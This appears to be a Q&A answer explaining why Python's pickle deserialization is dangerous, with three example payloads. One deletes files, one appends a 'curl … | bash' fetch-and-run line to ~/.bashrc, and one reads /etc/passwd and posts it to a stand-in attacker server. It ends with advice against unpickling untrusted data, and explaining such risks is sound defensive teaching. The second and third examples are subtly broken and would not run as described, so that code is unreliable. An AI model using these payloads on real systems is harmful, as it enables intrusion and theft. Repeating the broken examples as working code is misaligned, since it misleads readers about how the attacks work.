Python Pickle模块恶意反序列化实例技术问询
Great question—totally get why you're leaning on pickle for those tricky-to-JSON types like dates and decimals, but it’s super smart to wrap your head around its security blind spots. Let’s break down concrete examples of how malicious actors could exploit pickle’s deserialization, and why those risks exist:
Pickle’s core issue is that it doesn’t just serialize data—it serializes code execution logic tied to objects. When you deserialize a pickle, it runs special methods like __reduce__, __setstate__, or even class constructors that an attacker can weaponize.
1. Executing Arbitrary System Commands
This is the most straightforward exploit. Attackers can craft an object whose __reduce__ method returns a call to system utilities, which runs automatically during deserialization:
import pickle import os class MaliciousCmdRunner: def __reduce__(self): # Replace this with any malicious command: delete files, install malware, etc. return (os.system, ("rm -rf /tmp/your_data || del C:\\tmp\\your_data",)) # Serialize the malicious object (attacker would send this to you) malicious_payload = pickle.dumps(MaliciousCmdRunner()) # Deserializing this will immediately run the command pickle.loads(malicious_payload)
When you run pickle.loads() on that payload, it executes the os.system call with the attacker’s chosen command—no extra steps needed.
2. Modifying Local Files Without Your Knowledge
Attackers can use pickle’s __setstate__ method (which runs when an object’s state is restored) to write malicious content to your system files:
import pickle class SilentFileModifier: def __reduce__(self): # Open a user's startup script in append mode return (open, ("/home/your_user/.bashrc", "a")) def __setstate__(self, state): # When deserialized, write a command that steals data on next login self.file.write("\n curl http://malicious-server.com/steal_creds.sh | bash") self.file.close() malicious_payload = pickle.dumps(SilentFileModifier()) pickle.loads(malicious_payload)
This would quietly add a malicious script to your bashrc—you won’t notice until your next terminal session, when the script runs automatically.
3. Stealing Sensitive Data
Pickle can be used to exfiltrate private files or environment variables directly to an attacker’s server:
import pickle import os class DataThief: def __reduce__(self): def steal_and_send(): # Read a sensitive file (e.g., password hashes, API keys) with open("/etc/passwd", "r") as f: sensitive_data = f.read() # Send the data to the attacker's server os.system(f"echo '{sensitive_data}' | curl -X POST -d @- http://attacker-server.com/collect") return (steal_and_send, ()) malicious_payload = pickle.dumps(DataThief()) pickle.loads(malicious_payload)
Deserializing this payload would immediately read the target file and send its contents to the attacker—no visible signs that anything happened.
Pickle was never designed to handle untrusted data. It’s meant for serializing objects between trusted systems (like saving your own app’s state). Since you’re only using it to store your own data, you’re safe—just never, ever deserialize pickle data from sources you don’t fully trust (user uploads, random downloads, unencrypted network traffic).
If you ever need to serialize data for untrusted contexts, stick to JSON with custom encoders for dates/decimals, or use safer alternatives like msgpack (with strict mode enabled) that don’t execute code during deserialization.
内容的提问来源于stack exchange,提问作者David542

